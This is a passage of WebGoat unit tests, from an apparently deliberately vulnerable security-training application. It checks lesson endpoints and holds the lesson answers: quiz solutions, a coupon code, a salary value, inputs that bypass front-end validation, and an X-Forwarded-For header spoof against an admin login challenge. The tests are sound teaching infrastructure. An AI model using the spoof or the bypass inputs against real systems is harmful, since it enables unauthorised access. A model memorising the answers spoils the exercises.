return Category.AJAX_SECURITY;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getTitle() {
|
||||
return "test";
|
||||
}
|
||||
|
||||
@Override
|
||||
public List<Assignment> getAssignments() {
|
||||
Assignment assignment = new Assignment("test", "test", Lists.newArrayList());
|
||||
return Lists.newArrayList(assignment);
|
||||
}
|
||||
}
|
||||
|
||||
@Autowired
|
||||
private UserTrackerRepository userTrackerRepository;
|
||||
|
||||
@Test
|
||||
void saveUserTracker() {
|
||||
UserTracker userTracker = new UserTracker("test");
|
||||
|
||||
userTrackerRepository.save(userTracker);
|
||||
|
||||
userTracker = userTrackerRepository.findByUser("test");
|
||||
Assertions.assertThat(userTracker.getLessonTracker("test")).isNotNull();
|
||||
}
|
||||
|
||||
@Test
|
||||
void solvedAssignmentsShouldBeSaved() {
|
||||
UserTracker userTracker = new UserTracker("test");
|
||||
TestLesson lesson = new TestLesson();
|
||||
userTracker.getLessonTracker(lesson);
|
||||
userTracker.assignmentFailed(lesson);
|
||||
userTracker.assignmentFailed(lesson);
|
||||
userTracker.assignmentSolved(lesson, "test");
|
||||
|
||||
userTrackerRepository.saveAndFlush(userTracker);
|
||||
|
||||
userTracker = userTrackerRepository.findByUser("test");
|
||||
Assertions.assertThat(userTracker.numberOfAssignmentsSolved()).isEqualTo(1);
|
||||
}
|
||||
|
||||
@Test
|
||||
void saveAndLoadShouldHaveCorrectNumberOfAttempts() {
|
||||
UserTracker userTracker = new UserTracker("test");
|
||||
TestLesson lesson = new TestLesson();
|
||||
userTracker.getLessonTracker(lesson);
|
||||
userTracker.assignmentFailed(lesson);
|
||||
userTracker.assignmentFailed(lesson);
|
||||
userTrackerRepository.saveAndFlush(userTracker);
|
||||
|
||||
userTracker = userTrackerRepository.findByUser("test");
|
||||
userTracker.assignmentFailed(lesson);
|
||||
userTracker.assignmentFailed(lesson);
|
||||
userTrackerRepository.saveAndFlush(userTracker);
|
||||
|
||||
Assertions.assertThat(userTracker.getLessonTracker(lesson).getNumberOfAttempts()).isEqualTo(4);
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,60 @@
|
||||
package org.owasp.webgoat.container.users;
|
||||
|
||||
import org.assertj.core.api.Assertions;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.mockito.Mock;
|
||||
import org.mockito.junit.jupiter.MockitoExtension;
|
||||
import org.springframework.validation.BeanPropertyBindingResult;
|
||||
import org.springframework.validation.Errors;
|
||||
|
||||
import static org.assertj.core.api.Assertions.assertThat;
|
||||
import static org.mockito.ArgumentMatchers.anyString;
|
||||
import static org.mockito.Mockito.when;
|
||||
|
||||
@ExtendWith(MockitoExtension.class)
|
||||
class UserValidatorTest {
|
||||
|
||||
@Mock
|
||||
private UserRepository userRepository;
|
||||
|
||||
@Test
|
||||
void passwordsShouldMatch() {
|
||||
UserForm userForm = new UserForm();
|
||||
userForm.setAgree("true");
|
||||
userForm.setUsername("test1234");
|
||||
userForm.setPassword("test1234");
|
||||
userForm.setMatchingPassword("test1234");
|
||||
Errors errors = new BeanPropertyBindingResult(userForm, "userForm");
|
||||
new UserValidator(userRepository).validate(userForm, errors);
|
||||
Assertions.assertThat(errors.hasErrors()).isFalse();
|
||||
}
|
||||
|
||||
@Test
|
||||
void shouldGiveErrorWhenPasswordsDoNotMatch() {
|
||||
UserForm userForm = new UserForm();
|
||||
userForm.setAgree("true");
|
||||
userForm.setUsername("test1234");
|
||||
userForm.setPassword("test12345");
|
||||
userForm.setMatchingPassword("test1234");
|
||||
Errors errors = new BeanPropertyBindingResult(userForm, "userForm");
|
||||
new UserValidator(userRepository).validate(userForm, errors);
|
||||
Assertions.assertThat(errors.hasErrors()).isTrue();
|
||||
assertThat(errors.getFieldError("matchingPassword").getCode()).isEqualTo("password.diff");
|
||||
}
|
||||
|
||||
@Test
|
||||
void shouldGiveErrorWhenUserAlreadyExists() {
|
||||
UserForm userForm = new UserForm();
|
||||
userForm.setAgree("true");
|
||||
userForm.setUsername("test12345");
|
||||
userForm.setPassword("test12345");
|
||||
userForm.setMatchingPassword("test12345");
|
||||
when(userRepository.findByUsername(anyString())).thenReturn(new WebGoatUser("test1245", "password"));
|
||||
Errors errors = new BeanPropertyBindingResult(userForm, "userForm");
|
||||
new UserValidator(userRepository).validate(userForm, errors);
|
||||
Assertions.assertThat(errors.hasErrors()).isTrue();
|
||||
assertThat(errors.getFieldError("username").getCode()).isEqualTo("username.duplicate");
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,77 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||
* please see http://www.owasp.org/
|
||||
* <p>
|
||||
* Copyright (c) 2002 - 2017 Bruce Mayhew
|
||||
* <p>
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
* <p>
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
* <p>
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
* <p>
|
||||
* Getting Source ==============
|
||||
* <p>
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
||||
* projects.
|
||||
* <p>
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons.auth_bypass;
|
||||
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.mockito.junit.jupiter.MockitoExtension;
|
||||
import org.owasp.webgoat.container.assignments.AssignmentEndpointTest;
|
||||
import org.springframework.test.web.servlet.MockMvc;
|
||||
|
||||
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
|
||||
|
||||
@ExtendWith(MockitoExtension.class)
|
||||
public class BypassVerificationTest extends AssignmentEndpointTest {
|
||||
|
||||
private MockMvc mockMvc;
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
VerifyAccount verifyAccount = new VerifyAccount();
|
||||
init(verifyAccount);
|
||||
this.mockMvc = standaloneSetup(verifyAccount).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
public void placeHolder() {
|
||||
assert (true);
|
||||
}
|
||||
|
||||
//TODO: Finish tests below ... getting null on injected/mocked userSession for some reason (in AssignmentEndpoint:58 even though it it mocked via AssignmentEncpointTest and works in other tests)
|
||||
// @Test
|
||||
// public void testCheatingDetection() throws Exception {
|
||||
// ResultActions results = mockMvc.perform(MockMvcRequestBuilders.post("/auth-bypass/verify-account")
|
||||
// .param("secQuestion0","Dr. Watson")
|
||||
// .param("secQuestion1","Baker Street")
|
||||
// .param("verifyMethod","SEC_QUESTIONS")
|
||||
// .param("userId","1223445"));
|
||||
//
|
||||
// results.andExpect(status().isOk())
|
||||
// .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("verify-account.cheated"))));
|
||||
// }
|
||||
|
||||
// @Test
|
||||
// public void success() {
|
||||
//
|
||||
// }
|
||||
|
||||
// @Test
|
||||
// public void failure() {
|
||||
//
|
||||
// }
|
||||
|
||||
}
|
@ -0,0 +1,69 @@
|
||||
package org.owasp.webgoat.lessons.bypass_restrictions;
|
||||
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.owasp.webgoat.container.plugins.LessonTest;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import static org.hamcrest.Matchers.is;
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 6/16/17.
|
||||
*/
|
||||
public class BypassRestrictionsFrontendValidationTest extends LessonTest {
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
when(webSession.getCurrentLesson()).thenReturn(new BypassRestrictions());
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
void noChangesShouldNotPassTheLesson() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/BypassRestrictions/frontendValidation")
|
||||
.param("field1", "abc")
|
||||
.param("field2", "123")
|
||||
.param("field3", "abc ABC 123")
|
||||
.param("field4", "seven")
|
||||
.param("field5", "01101")
|
||||
.param("field6", "90201 1111")
|
||||
.param("field7", "301-604-4882")
|
||||
.param("error", "2"))
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
|
||||
}
|
||||
|
||||
@Test
|
||||
void bypassAllFieldShouldPass() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/BypassRestrictions/frontendValidation")
|
||||
.param("field1", "abcd")
|
||||
.param("field2", "1234")
|
||||
.param("field3", "abc $ABC 123")
|
||||
.param("field4", "ten")
|
||||
.param("field5", "01101AA")
|
||||
.param("field6", "90201 1111AA")
|
||||
.param("field7", "301-604-4882$$")
|
||||
.param("error", "0"))
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
|
||||
}
|
||||
|
||||
@Test
|
||||
void notBypassingAllFieldShouldNotPass() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/BypassRestrictions/frontendValidation")
|
||||
.param("field1", "abc")
|
||||
.param("field2", "1234")
|
||||
.param("field3", "abc $ABC 123")
|
||||
.param("field4", "ten")
|
||||
.param("field5", "01101AA")
|
||||
.param("field6", "90201 1111AA")
|
||||
.param("field7", "301-604-4882AA")
|
||||
.param("error", "0"))
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
|
||||
}
|
||||
|
||||
|
||||
}
|
@ -0,0 +1,100 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons.challenges;
|
||||
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.mockito.junit.jupiter.MockitoExtension;
|
||||
import org.owasp.webgoat.container.assignments.AssignmentEndpointTest;
|
||||
import org.owasp.webgoat.lessons.challenges.Flag;
|
||||
import org.owasp.webgoat.lessons.challenges.SolutionConstants;
|
||||
import org.owasp.webgoat.lessons.challenges.challenge1.Assignment1;
|
||||
import org.owasp.webgoat.lessons.challenges.challenge1.ImageServlet;
|
||||
import org.springframework.test.web.servlet.MockMvc;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
|
||||
import java.net.InetAddress;
|
||||
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 5/2/17.
|
||||
*/
|
||||
@ExtendWith(MockitoExtension.class)
|
||||
class Assignment1Test extends AssignmentEndpointTest {
|
||||
|
||||
private MockMvc mockMvc;
|
||||
|
||||
@BeforeEach
|
||||
void setup() {
|
||||
Assignment1 assignment1 = new Assignment1();
|
||||
init(assignment1);
|
||||
new Flag().initFlags();
|
||||
this.mockMvc = standaloneSetup(assignment1).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
void success() throws Exception {
|
||||
InetAddress addr = InetAddress.getLocalHost();
|
||||
String host = addr.getHostAddress();
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/challenge/1")
|
||||
.header("X-Forwarded-For", host)
|
||||
.param("username", "admin")
|
||||
.param("password", SolutionConstants.PASSWORD.replace("1234", String.format("%04d",ImageServlet.PINCODE))))
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.containsString("flag: " + Flag.FLAGS.get(1))))
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
|
||||
}
|
||||
|
||||
@Test
|
||||
void wrongPassword() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/challenge/1")
|
||||
.param("username", "admin")
|
||||
.param("password", "wrong"))
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))))
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
}
|
||||
|
||||
// @Test
|
||||
// public void correctPasswordXForwardHeaderMissing() throws Exception {
|
||||
// mockMvc.perform(MockMvcRequestBuilders.post("/challenge/1")
|
||||
// .param("username", "admin")
|
||||
// .param("password", SolutionConstants.PASSWORD))
|
||||
// .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("ip.address.unknown"))))
|
||||
// .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
// }
|
||||
|
||||
// @Test
|
||||
// public void correctPasswordXForwardHeaderWrong() throws Exception {
|
||||
// mockMvc.perform(MockMvcRequestBuilders.post("/challenge/1")
|
||||
// .header("X-Forwarded-For", "127.0.1.2")
|
||||
// .param("username", "admin")
|
||||
// .param("password", SolutionConstants.PASSWORD))
|
||||
// .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("ip.address.unknown"))))
|
||||
// .andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
// }
|
||||
|
||||
}
|
@ -0,0 +1,49 @@
|
||||
package org.owasp.webgoat.lessons.chrome_dev_tools;
|
||||
|
||||
import org.hamcrest.Matchers;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.owasp.webgoat.container.plugins.LessonTest;
|
||||
import org.owasp.webgoat.lessons.chrome_dev_tools.ChromeDevTools;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.test.context.junit.jupiter.SpringExtension;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
/**
|
||||
* @author Benedikt Stuhrmann
|
||||
* @since 13/03/19.
|
||||
*/
|
||||
@ExtendWith(SpringExtension.class)
|
||||
public class ChromeDevToolsTest extends LessonTest {
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
when(webSession.getCurrentLesson()).thenReturn(new ChromeDevTools());
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
public void NetworkAssignmentTest_Success() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/ChromeDevTools/network")
|
||||
.param("network_num", "123456")
|
||||
.param("number", "123456"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", Matchers.is(true)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void NetworkAssignmentTest_Fail() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/ChromeDevTools/network")
|
||||
.param("network_num", "123456")
|
||||
.param("number", "654321"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", Matchers.is(false)));
|
||||
}
|
||||
|
||||
}
|
196
src/test/java/org/owasp/webgoat/lessons/cia/CIAQuizTest.java
Normal file
196
src/test/java/org/owasp/webgoat/lessons/cia/CIAQuizTest.java
Normal file
@ -0,0 +1,196 @@
|
||||
package org.owasp.webgoat.lessons.cia;
|
||||
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.owasp.webgoat.container.plugins.LessonTest;
|
||||
import org.springframework.test.web.servlet.MvcResult;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import static org.assertj.core.api.Assertions.assertThat;
|
||||
import static org.hamcrest.CoreMatchers.is;
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
/**
|
||||
* @author Benedikt Stuhrmann
|
||||
* @since 13/03/19.
|
||||
*/
|
||||
public class CIAQuizTest extends LessonTest {
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
when(webSession.getCurrentLesson()).thenReturn(new CIA());
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
public void allAnswersCorrectIsSuccess() throws Exception {
|
||||
String[] solution0 = {"Solution 3"};
|
||||
String[] solution1 = {"Solution 1"};
|
||||
String[] solution2 = {"Solution 4"};
|
||||
String[] solution3 = {"Solution 2"};
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/cia/quiz")
|
||||
.param("question_0_solution", solution0)
|
||||
.param("question_1_solution", solution1)
|
||||
.param("question_2_solution", solution2)
|
||||
.param("question_3_solution", solution3))
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(true)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void oneAnswerWrongIsFailure() throws Exception {
|
||||
String[] solution0 = {"Solution 1"};
|
||||
String[] solution1 = {"Solution 1"};
|
||||
String[] solution2 = {"Solution 4"};
|
||||
String[] solution3 = {"Solution 2"};
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/cia/quiz")
|
||||
.param("question_0_solution", solution0)
|
||||
.param("question_1_solution", solution1)
|
||||
.param("question_2_solution", solution2)
|
||||
.param("question_3_solution", solution3))
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(false)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void twoAnswersWrongIsFailure() throws Exception {
|
||||
String[] solution0 = {"Solution 1"};
|
||||
String[] solution1 = {"Solution 1"};
|
||||
String[] solution2 = {"Solution 4"};
|
||||
String[] solution3 = {"Solution 3"};
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/cia/quiz")
|
||||
.param("question_0_solution", solution0)
|
||||
.param("question_1_solution", solution1)
|
||||
.param("question_2_solution", solution2)
|
||||
.param("question_3_solution", solution3))
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(false)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void threeAnswersWrongIsFailure() throws Exception {
|
||||
String[] solution0 = {"Solution 1"};
|
||||
String[] solution1 = {"Solution 1"};
|
||||
String[] solution2 = {"Solution 1"};
|
||||
String[] solution3 = {"Solution 3"};
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/cia/quiz")
|
||||
.param("question_0_solution", solution0)
|
||||
.param("question_1_solution", solution1)
|
||||
.param("question_2_solution", solution2)
|
||||
.param("question_3_solution", solution3))
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(false)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void allAnswersWrongIsFailure() throws Exception {
|
||||
String[] solution0 = {"Solution 2"};
|
||||
String[] solution1 = {"Solution 1"};
|
||||
String[] solution2 = {"Solution 3"};
|
||||
String[] solution3 = {"Solution 1"};
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/cia/quiz")
|
||||
.param("question_0_solution", solution0)
|
||||
.param("question_1_solution", solution1)
|
||||
.param("question_2_solution", solution2)
|
||||
.param("question_3_solution", solution3))
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("lessonCompleted", is(false)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void allAnswersCorrectGetResultsReturnsTrueTrueTrueTrue() throws Exception {
|
||||
String[] solution0 = {"Solution 3"};
|
||||
String[] solution1 = {"Solution 1"};
|
||||
String[] solution2 = {"Solution 4"};
|
||||
String[] solution3 = {"Solution 2"};
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/cia/quiz")
|
||||
.param("question_0_solution", solution0)
|
||||
.param("question_1_solution", solution1)
|
||||
.param("question_2_solution", solution2)
|
||||
.param("question_3_solution", solution3));
|
||||
|
||||
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.get("/cia/quiz"))
|
||||
.andExpect(status().isOk())
|
||||
.andReturn();
|
||||
|
||||
String responseString = result.getResponse().getContentAsString();
|
||||
assertThat(responseString).isEqualTo("[ true, true, true, true ]");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void firstAnswerFalseGetResultsReturnsFalseTrueTrueTrue() throws Exception {
|
||||
String[] solution0 = {"Solution 2"};
|
||||
String[] solution1 = {"Solution 1"};
|
||||
String[] solution2 = {"Solution 4"};
|
||||
String[] solution3 = {"Solution 2"};
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/cia/quiz")
|
||||
.param("question_0_solution", solution0)
|
||||
.param("question_1_solution", solution1)
|
||||
.param("question_2_solution", solution2)
|
||||
.param("question_3_solution", solution3));
|
||||
|
||||
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.get("/cia/quiz"))
|
||||
.andExpect(status().isOk())
|
||||
.andReturn();
|
||||
|
||||
String responseString = result.getResponse().getContentAsString();
|
||||
assertThat(responseString).isEqualTo("[ false, true, true, true ]");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void secondAnswerFalseGetResultsReturnsTrueFalseTrueTrue() throws Exception {
|
||||
String[] solution0 = {"Solution 3"};
|
||||
String[] solution1 = {"Solution 2"};
|
||||
String[] solution2 = {"Solution 4"};
|
||||
String[] solution3 = {"Solution 2"};
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/cia/quiz")
|
||||
.param("question_0_solution", solution0)
|
||||
.param("question_1_solution", solution1)
|
||||
.param("question_2_solution", solution2)
|
||||
.param("question_3_solution", solution3));
|
||||
|
||||
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.get("/cia/quiz"))
|
||||
.andExpect(status().isOk())
|
||||
.andReturn();
|
||||
|
||||
String responseString = result.getResponse().getContentAsString();
|
||||
assertThat(responseString).isEqualTo("[ true, false, true, true ]");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void allAnswersFalseGetResultsReturnsFalseFalseFalseFalse() throws Exception {
|
||||
String[] solution0 = {"Solution 1"};
|
||||
String[] solution1 = {"Solution 2"};
|
||||
String[] solution2 = {"Solution 1"};
|
||||
String[] solution3 = {"Solution 1"};
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/cia/quiz")
|
||||
.param("question_0_solution", solution0)
|
||||
.param("question_1_solution", solution1)
|
||||
.param("question_2_solution", solution2)
|
||||
.param("question_3_solution", solution3));
|
||||
|
||||
MvcResult result = mockMvc.perform(MockMvcRequestBuilders.get("/cia/quiz"))
|
||||
.andExpect(status().isOk())
|
||||
.andReturn();
|
||||
|
||||
String responseString = result.getResponse().getContentAsString();
|
||||
assertThat(responseString).isEqualTo("[ false, false, false, false ]");
|
||||
}
|
||||
|
||||
} // end class
|
@ -0,0 +1,44 @@
|
||||
package org.owasp.webgoat.lessons.client_side_filtering;
|
||||
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.owasp.webgoat.container.plugins.LessonTest;
|
||||
import org.owasp.webgoat.lessons.client_side_filtering.ClientSideFiltering;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.test.context.junit.jupiter.SpringExtension;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.owasp.webgoat.lessons.client_side_filtering.ClientSideFilteringFreeAssignment.SUPER_COUPON_CODE;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 5/2/17.
|
||||
*/
|
||||
public class ClientSideFilteringAssignmentTest extends LessonTest {
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
when(webSession.getCurrentLesson()).thenReturn(new ClientSideFiltering());
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
public void success() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/clientSideFiltering/getItForFree")
|
||||
.param("checkoutCode", SUPER_COUPON_CODE))
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void wrongCouponCode() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/clientSideFiltering/getItForFree")
|
||||
.param("checkoutCode", "test"))
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))))
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
}
|
||||
}
|
@ -0,0 +1,47 @@
|
||||
package org.owasp.webgoat.lessons.client_side_filtering;
|
||||
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.hamcrest.Matchers;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.owasp.webgoat.container.plugins.LessonTest;
|
||||
import org.owasp.webgoat.lessons.client_side_filtering.ClientSideFiltering;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.test.context.junit.jupiter.SpringExtension;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
|
||||
public class ClientSideFilteringFreeAssignmentTest extends LessonTest {
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
when(webSession.getCurrentLesson()).thenReturn(new ClientSideFiltering());
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
public void success() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/clientSideFiltering/attack1")
|
||||
.param("answer", "450000"))
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void wrongSalary() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/clientSideFiltering/attack1")
|
||||
.param("answer", "10000"))
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is("This is not the salary from Neville Bartholomew...")))
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void getSalaries() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/clientSideFiltering/salaries"))
|
||||
.andExpect(jsonPath("$[0]", Matchers.hasKey("UserID")))
|
||||
.andExpect(jsonPath("$.length()", CoreMatchers.is(12)));
|
||||
}
|
||||
}
|
@ -0,0 +1,81 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
